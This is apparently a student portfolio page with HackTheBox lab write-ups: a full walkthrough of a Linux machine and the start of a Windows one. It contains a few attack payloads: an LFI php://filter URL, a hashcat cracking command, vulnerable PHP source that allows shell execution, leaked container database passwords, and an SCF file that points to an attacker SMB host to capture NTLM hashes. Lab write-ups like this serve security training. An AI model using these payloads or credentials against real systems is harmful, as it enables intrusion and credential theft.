KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing 